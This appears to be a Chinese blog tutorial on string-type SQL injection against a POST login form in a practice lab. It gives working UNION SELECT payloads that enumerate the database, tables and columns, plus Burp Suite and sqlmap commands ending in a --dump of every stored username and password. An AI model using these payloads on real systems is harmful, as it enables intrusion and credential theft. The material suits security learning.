黑客学习-sql注入-字符型

一、判断是否存在sql漏洞

sql漏洞存在的两个条件

1、参数用户可控:前端传给后端的参数是用户可以控制的,

2、参数带入数据库查询:带入的参数拼接到SQL语句,而且能够成功执行语句

(1)查看username和password的参数名

(2)尝试登录admin-123456和admin-admin两组账号和密码登录,可以看到admin-admin报错,所以表面sql漏洞存在。

二、判断sql数据库漏洞类型

Sql注入根据数据的类型分类两类,数字型和字符型,

uname=1&passwd=1 或者 uname=1&passwd=1’两组进行测试,可以看到uname=1&passwd=1’这一组数据报错,所以这个漏洞存在字符型的漏洞

三、post手工注入

(1)浏览器设置代理

设置代理ip和端口号

(2)burpsuit设置代理,注意这里代理ip和端口号需要和浏览代理一致

返回浏览器,点击刷新浏览器页面

(3)利用union语句联合查询来获取数据库名

命令: uname=1&passwd=1' union select user(),database()--+

union操作符用于合并两个或多个select语句的结果集,联合查询中合并的选择查询必须具有相同的输出字段数、采用相同的顺序并包含相同或兼容的数据类型。)

返回浏览器,发现报错信息如下,所以我们获取到数据库为security

(4)利用union语句联合查询security数据库来获取表名

命令:uname=1&passwd=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+

返回浏览器可以通过报错信息,我们得到数据库中表有:emails、referers、uagents、users

总共有四个表,根据名字,用户名和密码应该存在users表中

(5)利用union语句联合查询users表来获取字段名

命令:uname=1&passwd=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'--+

返回浏览器可以通过报错信息,我们得到中表有三个字段:id、username、password

四、结合SQLMap软件与Burpsuit的抓包信息进行工具注入

(1)、输入test-123456进行输入,进行抓包

把抓到的信息,保存到文件a中(这里是把文件保存到桌面)

进入文件a所在的路径,

(2)利用sqlmap进行注入, sqlmap -r a

(3)获取数据库,命令:

sqlmap -r a --dbs

结果可以看到总共有5个数据库,在前面我们已经知道,我们的目标是security数据库

(4)获取security数据库中表:

sqlmap -r a -D security --table

结果看到数据库有四个表,我们的目标是users表

(5)获取users表中的字段名:

sqlmap -r a -D security -T users --columns

结果看到users表中有三个字段

(6)查看users表中的字段和内容:

sqlmap -r a -D security -T users --dump

结果如下,已经获取到标准所有的账号和密码

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值